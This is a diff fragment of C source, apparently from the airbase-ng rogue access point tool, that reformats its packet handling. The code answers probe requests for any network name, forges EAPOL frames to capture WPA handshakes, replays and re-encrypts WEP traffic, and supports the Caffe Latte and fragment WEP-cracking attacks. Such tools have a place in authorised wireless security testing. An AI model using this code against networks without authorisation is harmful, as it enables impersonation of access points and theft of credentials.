-//                         printf("ICV check failed!\n");
-                        return 1;
-                    }
-
-                    /* WEP data packet was successfully decrypted, *
-                    * remove the WEP IV & ICV and write the data  */
-
-                    length -= 8;
-
-                    memcpy( packet + z, packet + z + 4, length - z );
-
-                    packet[1] &= 0xBF;
-
-                    /* reencrypt it to send it with a new IV */
-                    memcpy(h80211, packet, length);
-
-                    if(create_wep_packet(h80211, &length, z) != 0) return 1;
-
-                    if(!opt.adhoc)
-                        send_packet(h80211, length);
-                }
-                else
-                {
-                    if(opt.caffelatte)
-                    {
-                        addarp(packet, length);
-                    }
-                    if(opt.cf_attack)
-                    {
-                        addCF(packet, length);
-                    }
-                    /* its a packet we can't decrypt -> just replay it through the wireless interface */
-                    return 0;
-                }
-            }
-            else
-            {
-                /* unencrypted -> send it through the wireless interface */
-                send_packet(packet, length);
-            }
-
-        }
-
-        memcpy( h80211,   dmac, 6);  //DST_MAC
-        memcpy( h80211+6, smac, 6);  //SRC_MAC
-
-        memcpy( h80211+12, packet+z+6, 2);  //copy ether type
-
-        if( (unsigned)length <= z+8 )
-            return 1;
-
-        memcpy( h80211+14, packet+z+8, length-z-8);
-        length = length -z-8+14;
-
-        //ethernet frame must be atleast 60 bytes without fcs
-        if(length < 60)
-        {
-            trailer = 60 - length;
-            memset(h80211 + length, 0, trailer);
-            length += trailer;
-        }
-
-        ti_write(dev.dv_ti, h80211, length);
-    }
-    else
-    {
-        //react on management frames
-        //probe request -> send probe response if essid matches. if brodcast probe, ignore it.
-        if( packet[0] == 0x40 )
-        {
-            tag = parse_tags(packet+z, 0, length-z, &len);
-            if(tag != NULL && tag[0] >= 32 && len <= 255) //directed probe
-            {
-                if( opt.promiscuous || !opt.f_essid || gotESSID((char*)tag, len) == 1)
-                {
-                    memset(essid, 0, 256);
-                    memcpy(essid, tag, len);
-
-                    /* store probes */
-                    if (len > 0 && essid[0] == 0)
-                            goto skip_probe;
-
-                    /* got a valid probed ESSID */
-
-                    /* add this to the beacon queue */
-                    if(opt.beacon_cache)
-                        addESSID(essid, len, opt.beacon_cache);
-
-                    /* check if it's already in the ring buffer */
-                    for( i = 0; i < NB_PRB; i++ )
-                        if( memcmp( st_cur->probes[i], essid, len ) == 0 )
-                            goto skip_probe;
-
-                    st_cur->probe_index = ( st_cur->probe_index + 1 ) % NB_PRB;
-                    memset( st_cur->probes[st_cur->probe_index], 0, 256 );
-                    memcpy( st_cur->probes[st_cur->probe_index], essid, len ); //twice?!
-                    st_cur->ssid_length[st_cur->probe_index] = len;
-
-                    for( i = 0; i < len; i++ )
-                    {
-                        c = essid[i];
-                        if( c == 0 || ( c > 126 && c < 160 ) ) c = '.';  //could also check ||(c>0 && c<32)
-                        st_cur->probes[st_cur->probe_index][i] = c;
-                    }
-
-skip_probe:
-
-                    //transform into probe response
-                    packet[0] = 0x50;
-
-                    if(opt.verbose)
-                    {
-                        PCT; printf("Got directed probe request from %02X:%02X:%02X:%02X:%02X:%02X - \"%s\"\n",
-                                smac[0],smac[1],smac[2],smac[3],smac[4],smac[5], essid);
-                    }
-
-                    //store the tagged parameters and insert the fixed ones
-                    buffer = (unsigned char*) malloc(length-z);
-                    memcpy(buffer, packet+z, length-z);
-
-                    memcpy(packet+z, "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", 12);  //fixed information
-                    packet[z+8] = (apc->interval) & 0xFF;       //beacon interval
-                    packet[z+9] = (apc->interval >> 8) & 0xFF;
-                    memcpy(packet+z+10, apc->capa, 2);          //capability
-
-                    //set timestamp
-                    gettimeofday( &tv1,  NULL );
-                    timestamp=tv1.tv_sec*1000000UL + tv1.tv_usec;
-
-                    //copy timestamp into response; a mod 2^64 counter incremented each microsecond
-                    for(i=0; i<8; i++)
-                    {
-                        packet[z+i] = ( timestamp >> (i*8) ) & 0xFF;
-                    }
-
-                    //insert tagged parameters
-                    memcpy(packet+z+12, buffer, length-z);
-                    length += 12;
-                    free(buffer);
-                    buffer = NULL;
-
-                    //add channel
-                    packet[length]   = 0x03;
-                    packet[length+1] = 0x01;
-                    temp_channel = wi_get_channel(_wi_in); //current channel
-                    if (!invalid_channel_displayed) {
-                	    if (temp_channel > 255) {
-                	    	// Display error message once
-                	    	invalid_channel_displayed = 1;
-                	    	fprintf(stderr, "Error: Got channel %d, expected a value < 256.\n", temp_channel);
-                	    } else if (temp_channel < 1) {
-							invalid_channel_displayed = 1;
-                	    	fprintf(stderr, "Error: Got channel %d, expected a value > 0.\n", temp_channel);
+			if ((gotsource && opt.filter == BLOCK_MACS)
+				|| (!gotsource && opt.filter == ALLOW_MACS))
+				return 0;
+		}
+		if (getMACcount(rBSSID) > 0)
+		{
+			/* filter bssids */
+			gotbssid = gotMAC(rBSSID, bssid);
+
+			if ((gotbssid && opt.filter == BLOCK_MACS)
+				|| (!gotbssid && opt.filter == ALLOW_MACS))
+				return 0;
+		}
+	}
+
+	/* check list of clients */
+	st_cur = opt.st_1st;
+	st_prv = NULL;
+
+	while (st_cur != NULL)
+	{
+		if (!memcmp(st_cur->stmac, smac, 6)) break;
+
+		st_prv = st_cur;
+		st_cur = st_cur->next;
+	}
+
+	/* if it's a new client, add it */
+
+	if (st_cur == NULL)
+	{
+		if (!(st_cur = (struct ST_info *) malloc(sizeof(struct ST_info))))
+		{
+			perror("malloc failed");
+			return (1);
+		}
+
+		memset(st_cur, 0, sizeof(struct ST_info));
+
+		if (opt.st_1st == NULL)
+			opt.st_1st = st_cur;
+		else
+			st_prv->next = st_cur;
+
+		memcpy(st_cur->stmac, smac, 6);
+
+		st_cur->prev = st_prv;
+
+		st_cur->tinit = time(NULL);
+		st_cur->tlast = time(NULL);
+
+		st_cur->power = -1;
+		st_cur->rate_to = -1;
+		st_cur->rate_from = -1;
+
+		st_cur->probe_index = -1;
+		st_cur->missed = 0;
+		st_cur->lastseq = 0;
+		gettimeofday(&(st_cur->ftimer), NULL);
+
+		for (i = 0; i < NB_PRB; i++)
+		{
+			memset(st_cur->probes[i], 0, sizeof(st_cur->probes[i]));
+			st_cur->ssid_length[i] = 0;
+		}
+
+		memset(st_cur->essid, 0, 256);
+		st_cur->essid_length = 0;
+
+		st_cur->wpatype = 0;
+		st_cur->wpahash = 0;
+		st_cur->wep = 0;
+
+		opt.st_end = st_cur;
+	}
+
+	/* Got a data packet with our bssid set and ToDS==1*/
+	if (memcmp(bssid, opt.r_bssid, 6) == 0 && (packet[0] & 0x08) == 0x08
+		&& (packet[1] & 0x03) == 0x01)
+	{
+		//         printf("to me with len: %d\n", length);
+		fragnum = packet[22] & 0x0F;
+		seqnum = (packet[22] >> 4) | (packet[23] << 4);
+		morefrag = packet[1] & 0x04;
+
+		//         printf("frag: %d, morefrag: %d\n", fragnum, morefrag);
+
+		/* Fragment? */
+		if (fragnum > 0 || morefrag)
+		{
+			addFrag(packet, smac, length);
+			buffer = getCompleteFrag(smac, seqnum, &len);
+			timeoutFrag();
+
+			/* we got frag, no compelete packet avail -> do nothing */
+			if (buffer == NULL) return 1;
+
+			//             printf("got all frags!!!\n");
+			memcpy(packet, buffer, len);
+			length = len;
+			free(buffer);
+			buffer = NULL;
+		}
+
+		/* intercept packets in case we got external processing */
+		if (external)
+		{
+			intercept(packet, length);
+			return 0;
+		}
+
+		/* To our mac? */
+		if ((memcmp(dmac, opt.r_bssid, 6) == 0 && !opt.adhoc)
+			|| (memcmp(dmac, opt.r_smac, 6) == 0 && opt.adhoc))
+		{
+			/* Is encrypted */
+			if ((packet[z] != packet[z + 1] || packet[z + 2] != 0x03)
+				&& (packet[1] & 0x40) == 0x40)
+			{
+				/* check the extended IV flag */
+				/* WEP and we got the key */
+				if ((packet[z + 3] & 0x20) == 0 && opt.crypt == CRYPT_WEP
+					&& !opt.cf_attack)
+				{
+					memcpy(K, packet + z, 3);
+					memcpy(K + 3, opt.wepkey, opt.weplen);
+
+					if (decrypt_wep(
+							packet + z + 4, length - z - 4, K, 3 + opt.weplen)
+						== 0)
+					{
+						//                         printf("ICV check
+						//                         failed!\n");
+						return 1;
+					}
+
+					/* WEP data packet was successfully decrypted, *
+					* remove the WEP IV & ICV and write the data  */
+
+					length -= 8;
+
+					memcpy(packet + z, packet + z + 4, length - z);
+
+					packet[1] &= 0xBF;
+				}
+				else
+				{
+					if (opt.cf_attack)
+					{
+						addCF(packet, length);
+						return 0;
+					}
+
+					/* it's a packet for us, but we either don't have the key or
+					 * its WPA -> throw it away */
+					return 0;
+				}
+			}
+			else
+			{
+				/* unencrypted data packet, nothing special, send it through
+				 * dev_ti */
+				if (opt.sendeapol
+					&& memcmp(packet + z,
+							  "\xAA\xAA\x03\x00\x00\x00\x88\x8E\x01\x01",
+							  10)
+						   == 0)
+				{
+					/* got eapol start frame */
+					if (opt.verbose)
+					{
+						PCT;
+						printf("Got EAPOL start frame from "
+							   "%02X:%02X:%02X:%02X:%02X:%02X\n",
+							   smac[0],
+							   smac[1],
+							   smac[2],
+							   smac[3],
+							   smac[4],
+							   smac[5]);
+					}
+					st_cur->wpa.state = 0;
+
+					if (opt.use_fixed_nonce)
+					{
+						memcpy(st_cur->wpa.anonce, opt.fixed_nonce, 32);
+					}
+					else
+					{
+						for (i = 0; i < 32; i++)
+							st_cur->wpa.anonce[i] = rand() & 0xFF;
+					}
+					st_cur->wpa.state |= 1;
+
+					/* build first eapol frame */
+					memcpy(h80211, "\x08\x02\xd5\x00", 4);
+					len = 4;
+
+					memcpy(h80211 + len, smac, 6);
+					len += 6;
+					memcpy(h80211 + len, bssid, 6);
+					len += 6;
+					memcpy(h80211 + len, bssid, 6);
+					len += 6;
+
+					h80211[len] = 0x60;
+					h80211[len + 1] = 0x0f;
+					len += 2;
+
+					// llc+snap
+					memcpy(h80211 + len, "\xAA\xAA\x03\x00\x00\x00\x88\x8E", 8);
+					len += 8;
+
+					// eapol
+					memset(h80211 + len, 0, 99);
+					h80211[len] = 0x01; // version
+					h80211[len + 1] = 0x03; // type
+					h80211[len + 2] = 0x00;
+					h80211[len + 3] = 0x5F; // len
+					if (opt.wpa1type) h80211[len + 4] = 0xFE; // WPA1
+
+					if (opt.wpa2type) h80211[len + 4] = 0x02; // WPA2
+
+					if (!opt.wpa1type && !opt.wpa2type)
+					{
+						if (st_cur->wpatype == 1) // WPA1
+							h80211[len + 4] = 0xFE; // WPA1
+						else if (st_cur->wpatype == 2)
+							h80211[len + 4] = 0x02; // WPA2
+					}
+
+					if (opt.sendeapol >= 1 && opt.sendeapol <= 2) // specified
+					{
+						if (opt.sendeapol == 1) // MD5
+						{
+							h80211[len + 5] = 0x00;
+							h80211[len + 6] = 0x89;
+						}
+						else // SHA1
+						{
+							h80211[len + 5] = 0x00;
+							h80211[len + 6] = 0x8a;
 						}
 					}
-                    packet[length+2] = ((temp_channel > 255 || temp_channel < 1) && opt.channel != 0) ? opt.channel : temp_channel;
+					else // from asso
+					{
+						if (st_cur->wpahash == 1) // MD5
+						{
+							h80211[len + 5] = 0x00;
+							h80211[len + 6] = 0x89;
+						}
+						else if (st_cur->wpahash == 2) // SHA1
+						{
+							h80211[len + 5] = 0x00;
+							h80211[len + 6] = 0x8a;
+						}
+					}
+
+					h80211[len + 7] = 0x00;
+					h80211[len + 8] = 0x20; // keylen
+
+					memset(h80211 + len + 9, 0, 90);
+					memcpy(h80211 + len + 17, st_cur->wpa.anonce, 32);
+
+					len += 99;
 
-                    length += 3;
+					send_packet(h80211, len);
+					return 0;
+				}
+
+				if (opt.sendeapol
+					&& memcmp(packet + z,
+							  "\xAA\xAA\x03\x00\x00\x00\x88\x8E\x01\x03",
+							  10)
+						   == 0)
+				{
+					st_cur->wpa.eapol_size
+						= (packet[z + 8 + 2] << 8) + packet[z + 8 + 3] + 4;
+
+					if ((unsigned) length - z - 10 < st_cur->wpa.eapol_size
+						|| st_cur->wpa.eapol_size == 0
+						|| st_cur->wpa.eapol_size > sizeof(st_cur->wpa.eapol))
+					{
+						// Ignore the packet trying to crash us.
+						st_cur->wpa.eapol_size = 0;
+						return 1;
+					}
+
+					/* got eapol frame num 2 */
+					memcpy(st_cur->wpa.snonce, &packet[z + 8 + 17], 32);
+					st_cur->wpa.state |= 2;
+
+					memcpy(st_cur->wpa.keymic, &packet[z + 8 + 81], 16);
+					memcpy(st_cur->wpa.eapol,
+						   &packet[z + 8],
+						   st_cur->wpa.eapol_size);
+					memset(st_cur->wpa.eapol + 81, 0, 16);
+					st_cur->wpa.state |= 4;
+					st_cur->wpa.keyver = packet[z + 8 + 6] & 7;
+
+					memcpy(st_cur->wpa.stmac, st_cur->stmac, 6);
+
+					store_wpa_handshake(st_cur);
+					if (!opt.quiet)
+					{
+						PCT;
+						printf("Got WPA handshake from "
+							   "%02X:%02X:%02X:%02X:%02X:%02X\n",
+							   smac[0],
+							   smac[1],
+							   smac[2],
+							   smac[3],
+							   smac[4],
+							   smac[5]);
+					}
 
-                    memcpy(packet +  4, smac, 6);
-                    memcpy(packet + 10, opt.r_bssid, 6);
-                    memcpy(packet + 16, opt.r_bssid, 6);
-
-                    // TODO: See also about 100 lines below
-                    if( opt.allwpa )
-                    {
-                        memcpy(packet+length, ALL_WPA2_TAGS, sizeof(ALL_WPA2_TAGS) -1);
-                        length += sizeof(ALL_WPA2_TAGS) -1;
-                        memcpy(packet+length, ALL_WPA1_TAGS, sizeof(ALL_WPA1_TAGS) -1);
-                        length += sizeof(ALL_WPA1_TAGS) -1;
-                    }
-                    else
-                    {
-                    	if(opt.wpa2type > 0)
+					return 0;
+				}
+			}
+		}
+		else
+		{
+			packet[1] &= 0xFC; // clear ToDS/FromDS
+			if (!opt.adhoc)
+			{
+				/* Our bssid, ToDS=1, but to a different destination MAC -> send
+				 * it through both interfaces */
+				packet[1] |= 0x02; // set FromDS=1
+				memcpy(packet + 4, dmac, 6);
+				memcpy(packet + 10, bssid, 6);
+				memcpy(packet + 16, smac, 6);
+			}
+			else
+			{
+				/* adhoc, don't replay */
+				memcpy(packet + 4, dmac, 6);
+				memcpy(packet + 10, smac, 6);
+				memcpy(packet + 16, bssid, 6);
+			}
+			//             printf("sent packet length: %d\n", length);
+			/* Is encrypted */
+			if ((packet[z] != packet[z + 1] || packet[z + 2] != 0x03)
+				&& (packet[1] & 0x40) == 0x40)
+			{
+				/* check the extended IV flag */
+				/* WEP and we got the key */
+				if ((packet[z + 3] & 0x20) == 0 && opt.crypt == CRYPT_WEP
+					&& !opt.caffelatte
+					&& !opt.cf_attack)
+				{
+					memcpy(K, packet + z, 3);
+					memcpy(K + 3, opt.wepkey, opt.weplen);
+
+					if (decrypt_wep(
+							packet + z + 4, length - z - 4, K, 3 + opt.weplen)
+						== 0)
+					{
+						//                         printf("ICV check
+						//                         failed!\n");
+						return 1;
+					}
+
+					/* WEP data packet was successfully decrypted, *
+					* remove the WEP IV & ICV and write the data  */
+
+					length -= 8;
+
+					memcpy(packet + z, packet + z + 4, length - z);
+
+					packet[1] &= 0xBF;
+
+					/* reencrypt it to send it with a new IV */
+					memcpy(h80211, packet, length);
+
+					if (create_wep_packet(h80211, &length, z) != 0) return 1;
+
+					if (!opt.adhoc) send_packet(h80211, length);
+				}
+				else
+				{
+					if (opt.caffelatte)
+					{
+						addarp(packet, length);
+					}
+					if (opt.cf_attack)
+					{
+						addCF(packet, length);
+					}
+					/* it's a packet we can't decrypt -> just replay it through
+					 * the wireless interface */
+					return 0;
+				}
+			}
+			else
+			{
+				/* unencrypted -> send it through the wireless interface */
+				send_packet(packet, length);
+			}
+		}
+
+		memcpy(h80211, dmac, 6); // DST_MAC
+		memcpy(h80211 + 6, smac, 6); // SRC_MAC
+
+		memcpy(h80211 + 12, packet + z + 6, 2); // copy ether type
+
+		if ((unsigned) length <= z + 8) return 1;
+
+		memcpy(h80211 + 14, packet + z + 8, length - z - 8);
+		length = length - z - 8 + 14;
+
+		// ethernet frame must be at least 60 bytes without fcs
+		if (length < 60)
+		{
+			trailer = 60 - length;
+			memset(h80211 + length, 0, trailer);
+			length += trailer;
+		}
+
+		ti_write(dev.dv_ti, h80211, length);
+	}
+	else
+	{
+		// react on management frames
+		// probe request -> send probe response if essid matches. if brodcast
+		// probe, ignore it.
+		if (packet[0] == 0x40)
+		{
+			tag = parse_tags(packet + z, 0, length - z, &len);
+			if (tag != NULL && tag[0] >= 32 && len <= 255) // directed probe
+			{
+				if (opt.promiscuous || !opt.f_essid
+					|| gotESSID((char *) tag, len) == 1)
+				{
+					memset(essid, 0, 256);
+					memcpy(essid, tag, len);
+
+					/* store probes */
+					if (len > 0 && essid[0] == 0) goto skip_probe;
+
+					/* got a valid probed ESSID */
+
+					/* add this to the beacon queue */
+					if (opt.beacon_cache)
+						addESSID(essid, len, opt.beacon_cache);
+
+					/* check if it's already in the ring buffer */
+					for (i = 0; i < NB_PRB; i++)
+						if (memcmp(st_cur->probes[i], essid, len) == 0)
+							goto skip_probe;
+
+					st_cur->probe_index = (st_cur->probe_index + 1) % NB_PRB;
+					memset(st_cur->probes[st_cur->probe_index], 0, 256);
+					memcpy(st_cur->probes[st_cur->probe_index],
+						   essid,
+						   len); // twice?!
+					st_cur->ssid_length[st_cur->probe_index] = len;
+
+					for (i = 0; i < len; i++)
+					{
+						c = essid[i];
+						if (c == 0 || (c > 126 && c < 160))
+							c = '.'; // could also check ||(c>0 && c<32)
+						st_cur->probes[st_cur->probe_index][i] = c;
+					}
+
+				skip_probe:
+
+					// transform into probe response
+					packet[0] = 0x50;
+
+					if (opt.verbose)
+					{
+						PCT;
+						printf("Got directed probe request from "
+							   "%02X:%02X:%02X:%02X:%02X:%02X - \"%s\"\n",
+							   smac[0],
+							   smac[1],
+							   smac[2],
+							   smac[3],
+							   smac[4],
+							   smac[5],
+							   essid);
+					}
+
+					// store the tagged parameters and insert the fixed ones
+					buffer = (unsigned char *) malloc(length - z);
+					memcpy(buffer, packet + z, length - z);
+
+					memcpy(packet + z,
+						   "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
+						   12); // fixed information
+					packet[z + 8] = (apc->interval) & 0xFF; // beacon interval
+					packet[z + 9] = (apc->interval >> 8) & 0xFF;
+					memcpy(packet + z + 10, apc->capa, 2); // capability
+
+					// set timestamp
+					gettimeofday(&tv1, NULL);
+					timestamp = tv1.tv_sec * 1000000UL + tv1.tv_usec;
+
+					// copy timestamp into response; a mod 2^64 counter
+					// incremented each microsecond
+					for (i = 0; i < 8; i++)
+					{
+						packet[z + i] = (timestamp >> (i * 8)) & 0xFF;
+					}
+
+					// insert tagged parameters
+					memcpy(packet + z + 12, buffer, length - z);
+					length += 12;
+					free(buffer);
+					buffer = NULL;
+
+					// add channel
+					packet[length] = 0x03;
+					packet[length + 1] = 0x01;
+					temp_channel = wi_get_channel(_wi_in); // current channel
+					if (!invalid_channel_displayed)
+					{
+						if (temp_channel > 255)
 						{
-							memcpy(packet+length, WPA2_TAG, 22);
-							packet[length+7] = opt.wpa2type;
-							packet[length+13] = opt.wpa2type;
+							// Display error message once
+							invalid_channel_displayed = 1;
+							fprintf(stderr,
+									"Error: Got channel %d, expected a value < "
+									"256.\n",
+									temp_channel);
+						}
+						else if (temp_channel < 1)
+						{
+							invalid_channel_displayed = 1;
+							fprintf(stderr,
+									"Error: Got channel %d, expected a value > "
+									"0.\n",
+									temp_channel);
+						}
+					}
+					packet[length + 2]
+						= ((temp_channel > 255 || temp_channel < 1)
+						   && opt.channel != 0)
+							  ? opt.channel
+							  : temp_channel;
+
+					length += 3;
+
+					memcpy(packet + 4, smac, 6);
+					memcpy(packet + 10, opt.r_bssid, 6);
+					memcpy(packet + 16, opt.r_bssid, 6);
+
+					// TODO: See also about 100 lines below
+					if (opt.allwpa)
+					{
+						memcpy(packet + length,
+							   ALL_WPA2_TAGS,
+							   sizeof(ALL_WPA2_TAGS) - 1);
+						length += sizeof(ALL_WPA2_TAGS) - 1;
+						memcpy(packet + length,
+							   ALL_WPA1_TAGS,
+							   sizeof(ALL_WPA1_TAGS) - 1);
+						length += sizeof(ALL_WPA1_TAGS) - 1;
+					}
+					else
+					{
+						if (opt.wpa2type > 0)
+						{
+							memcpy(packet + length, WPA2_TAG, 22);
+							packet[length + 7] = opt.wpa2type;
+							packet[length + 13] = opt.wpa2type;
 							length += 22;
 						}
 
-                    	if(opt.wpa1type > 0)
+						if (opt.wpa1type > 0)
 						{
-							memcpy(packet+length, WPA1_TAG, 24);
-							packet[length+11] = opt.wpa1type;
-							packet[length+17] = opt.wpa1type;
+							memcpy(packet + length, WPA1_TAG, 24);
+							packet[length + 11] = opt.wpa1type;
+							packet[length + 17] = opt.wpa1type;
 							length += 24;
 						}
 					}
 
-                    send_packet(packet, length);
+					send_packet(packet, length);
 
-                    //send_packet(packet, length);
+					// send_packet(packet, length);
 
-                    //send_packet(packet, length);
-                    return 0;
-                }
-            }
-            else //broadcast probe
-            {
-                if(!opt.nobroadprobe)
-                {
-                    //transform into probe response
-                    packet[0] = 0x50;
-
-                    if(opt.verbose)
-                    {
-                        PCT; printf("Got broadcast probe request from %02X:%02X:%02X:%02X:%02X:%02X\n",
-                                smac[0],smac[1],smac[2],smac[3],smac[4],smac[5]);
-                    }
-
-                    //store the tagged parameters and insert the fixed ones
-                    buffer = (unsigned char*) malloc(length-z);
-                    memcpy(buffer, packet+z, length-z);
-
-                    memcpy(packet+z, "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", 12);  //fixed information
-                    packet[z+8] = (apc->interval) & 0xFF;       //beacon interval
-                    packet[z+9] = (apc->interval >> 8) & 0xFF;
-                    memcpy(packet+z+10, apc->capa, 2);          //capability
-
-                    //set timestamp
-                    gettimeofday( &tv1,  NULL );
-                    timestamp=tv1.tv_sec*1000000UL + tv1.tv_usec;
-
-                    //copy timestamp into response; a mod 2^64 counter incremented each microsecond
-                    for(i=0; i<8; i++)
-                    {
-                        packet[z+i] = ( timestamp >> (i*8) ) & 0xFF;
-                    }
-
-                    //insert essid
-                    len = getESSID(fessid);
-                    if(!len)
-                    {
-                        strcpy(fessid, "default");
-                        len = strlen(fessid);
-                    }
-                    packet[z+12] = 0x00;
-                    packet[z+13] = len;
-                    memcpy(packet+z+14, fessid, len);
-
-                    //insert tagged parameters
-                    memcpy(packet+z+14+len, buffer, length-z); //now we got 2 essid tags... ignore that
-
-                    length += 12; //fixed info
-                    free(buffer);
-                    buffer = NULL;
-                    length += 2+len; //default essid
-
-                    //add channel
-                    packet[length]   = 0x03;
-                    packet[length+1] = 0x01;
-                    temp_channel = wi_get_channel(_wi_in); //current channel
-                    if (!invalid_channel_displayed) {
-                	    if (temp_channel > 255) {
-                	    	// Display error message once
-                	    	invalid_channel_displayed = 1;
-                	    	fprintf(stderr, "Error: Got channel %d, expected a value < 256.\n", temp_channel);
-                	    } else if (temp_channel < 1) {
-							invalid_channel_displayed = 1;
-                	    	fprintf(stderr, "Error: Got channel %d, expected a value > 0.\n", temp_channel);
-						}
+					// send_packet(packet, length);
+					return 0;
+				}
+			}
+			else // broadcast probe
+			{
+				if (!opt.nobroadprobe)
+				{
+					// transform into probe response
+					packet[0] = 0x50;
+
+					if (opt.verbose)
+					{
+						PCT;
+						printf("Got broadcast probe request from "
+							   "%02X:%02X:%02X:%02X:%02X:%02X\n",
+							   smac[0],
+							   smac[1],
+							   smac[2],
+							   smac[3],
+							   smac[4],
+							   smac[5]);
 					}
-                    packet[length+2] = ((temp_channel > 255 || temp_channel < 1) && opt.channel != 0) ? opt.channel : temp_channel;
 
-                    length += 3;
+					// store the tagged parameters and insert the fixed ones
+					buffer = (unsigned char *) malloc(length - z);
+					memcpy(buffer, packet + z, length - z);
+
+					memcpy(packet + z,
+						   "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
+						   12); // fixed information
+					packet[z + 8] = (apc->interval) & 0xFF; // beacon interval
+					packet[z + 9] = (apc->interval >> 8) & 0xFF;
+					memcpy(packet + z + 10, apc->capa, 2); // capability
+
+					// set timestamp
+					gettimeofday(&tv1, NULL);
+					timestamp = tv1.tv_sec * 1000000UL + tv1.tv_usec;
+
+					// copy timestamp into response; a mod 2^64 counter
+					// incremented each microsecond
+					for (i = 0; i < 8; i++)
+					{
+						packet[z + i] = (timestamp >> (i * 8)) & 0xFF;
+					}
 
-                    memcpy(packet +  4, smac, 6);
-                    memcpy(packet + 10, opt.r_bssid, 6);
-                    memcpy(packet + 16, opt.r_bssid, 6);
-
-                    // TODO: See also around ~3500
-                    if( opt.allwpa )
-                    {
-                        memcpy(packet+length, ALL_WPA2_TAGS, sizeof(ALL_WPA2_TAGS) -1);
-                        length += sizeof(ALL_WPA2_TAGS) -1;
-                        memcpy(packet+length, ALL_WPA1_TAGS, sizeof(ALL_WPA1_TAGS) -1);
-                        length += sizeof(ALL_WPA1_TAGS) -1;
-                    }
-                    else
-                    {
-                    	if(opt.wpa2type > 0)
+					// insert essid
+					len = getESSID(fessid);
+					if (!len)
+					{
+						strncpy(fessid, "default", sizeof(fessid) - 1);
+						len = strlen(fessid);
+					}
+					packet[z + 12] = 0x00;
+					packet[z + 13] = len;
+					memcpy(packet + z + 14, fessid, len);
+
+					// insert tagged parameters
+					memcpy(packet + z + 14 + len,
+						   buffer,
+						   length
+							   - z); // now we got 2 essid tags... ignore that
+
+					length += 12; // fixed info
+					free(buffer);
+					buffer = NULL;
+					length += 2 + len; // default essid
+
+					// add channel
+					packet[length] = 0x03;
+					packet[length + 1] = 0x01;
+					temp_channel = wi_get_channel(_wi_in); // current channel
+					if (!invalid_channel_displayed)
+					{
+						if (temp_channel > 255)
+						{
+							// Display error message once
+							invalid_channel_displayed = 1;
+							fprintf(stderr,
+									"Error: Got channel %d, expected a value < "
+									"256.\n",
+									temp_channel);
+						}
+						else if (temp_channel < 1)
 						{
-							memcpy(packet+length, WPA2_TAG, 22);
-							packet[length+7] = opt.wpa2type;
-							packet[length+13] = opt.wpa2type;
+							invalid_channel_displayed = 1;
+							fprintf(stderr,
+									"Error: Got channel %d, expected a value > "
+									"0.\n",
+									temp_channel);
+						}
+					}
+					packet[length + 2]
+						= ((temp_channel > 255 || temp_channel < 1)
+						   && opt.channel != 0)
+							  ? opt.channel
+							  : temp_channel;
+
+					length += 3;
+
+					memcpy(packet + 4, smac, 6);
+					memcpy(packet + 10, opt.r_bssid, 6);
+					memcpy(packet + 16, opt.r_bssid, 6);
+
+					// TODO: See also around ~3500
+					if (opt.allwpa)
+					{
+						memcpy(packet + length,
+							   ALL_WPA2_TAGS,
+							   sizeof(ALL_WPA2_TAGS) - 1);
+						length += sizeof(ALL_WPA2_TAGS) - 1;
+						memcpy(packet + length,
+							   ALL_WPA1_TAGS,
+							   sizeof(ALL_WPA1_TAGS) - 1);
+						length += sizeof(ALL_WPA1_TAGS) - 1;
+					}
+					else
+					{
+						if (opt.wpa2type > 0)
+						{
+							memcpy(packet + length, WPA2_TAG, 22);
+							packet[length + 7] = opt.wpa2type;
+							packet[length + 13] = opt.wpa2type;
 							length += 22;
 						}
 
-						if(opt.wpa1type > 0)
+						if (opt.wpa1type > 0)
 						{
-							memcpy(packet+length, WPA1_TAG, 24);
-							packet[length+11] = opt.wpa1type;
-							packet[length+17] = opt.wpa1type;
+							memcpy(packet + length, WPA1_TAG, 24);
+							packet[length + 11] = opt.wpa1type;
+							packet[length + 17] = opt.wpa1type;
 							length += 24;
 						}
-                    }
+					}
+
+					send_packet(packet, length);
 
-                    send_packet(packet, length);
+					send_packet(packet, length);
 
-                    send_packet(packet, length);
+					send_packet(packet, length);
+					return 0;
+				}
+			}
+		}
 
-                    send_packet(packet, length);
-                    return 0;
-                }
-            }
-        }
-
-        //auth req
-        if(packet[0] == 0xB0 && memcmp( bssid, opt.r_bssid, 6) == 0 )
-        {
-            if(packet[z] == 0x00) //open system auth
-            {
-                //make sure its an auth request
-                if(packet[z+2] == 0x01)
-                {
-                    if(opt.verbose)
-                    {
-                        PCT; printf("Got an auth request from %02X:%02X:%02X:%02X:%02X:%02X (open system)\n",
-                                smac[0],smac[1],smac[2],smac[3],smac[4],smac[5]);
-                    }
-                    memcpy(packet +  4, smac, 6);
-                    memcpy(packet + 10, dmac, 6);
-                    packet[z+2] = 0x02;
-
-                    if(opt.forceska)
-                    {
-                        packet[z] = 0x01;
-                        packet[z+4] = 13;
-                    }
-
-                    send_packet(packet, length);
-                    return 0;
-                }
-            }
-            else //shared key auth
-            {
-                //first response
-                if(packet[z+2] == 0x01 && (packet[1] & 0x40) == 0x00 )
-                {
-                    if(opt.verbose)
-                    {
-                        PCT; printf("Got an auth request from %02X:%02X:%02X:%02X:%02X:%02X (shared key)\n",
-                                smac[0],smac[1],smac[2],smac[3],smac[4],smac[5]);
-                    }
-                    memcpy(packet +  4, smac, 6);
-                    memcpy(packet + 10, dmac, 6);
-                    packet[z+2] = 0x02;
-
-                   remaining = opt.skalen;
-
-                    while(remaining > 0)
-                    {
-                        bytes2use = MIN(255,remaining);
-                        remaining -= bytes2use;
-                        //add challenge
-                        packet[length] = 0x10;
-                        packet[length+1] = bytes2use;
-                        length += 2;
-
-                        for(i=0; i<bytes2use; i++)
-                        {
-                            packet[length+i] = rand() & 0xFF;
-                        }
-
-                        length += bytes2use;
-                    }
-                    send_packet(packet, length);
-                    check_shared_key(packet, length);
-                    return 0;
-                }
-
-                //second response
-                if( (packet[1] & 0x40) == 0x40 )
-                {
-                    check_shared_key(packet, length);
-                    packet[1] = 0x00; //not encrypted
-                    memcpy(packet +  4, smac, 6);
-                    memcpy(packet + 10, dmac, 6);
-
-                    packet[z]   = 0x01;//shared key
-                    packet[z+1] = 0x00;
-                    packet[z+2] = 0x04;//sequence 4
-                    packet[z+3] = 0x00;
-                    packet[z+4] = 0x00;//successful
-                    packet[z+5] = 0x00;
-
-                    length = z+6;
-                    send_packet(packet, length);
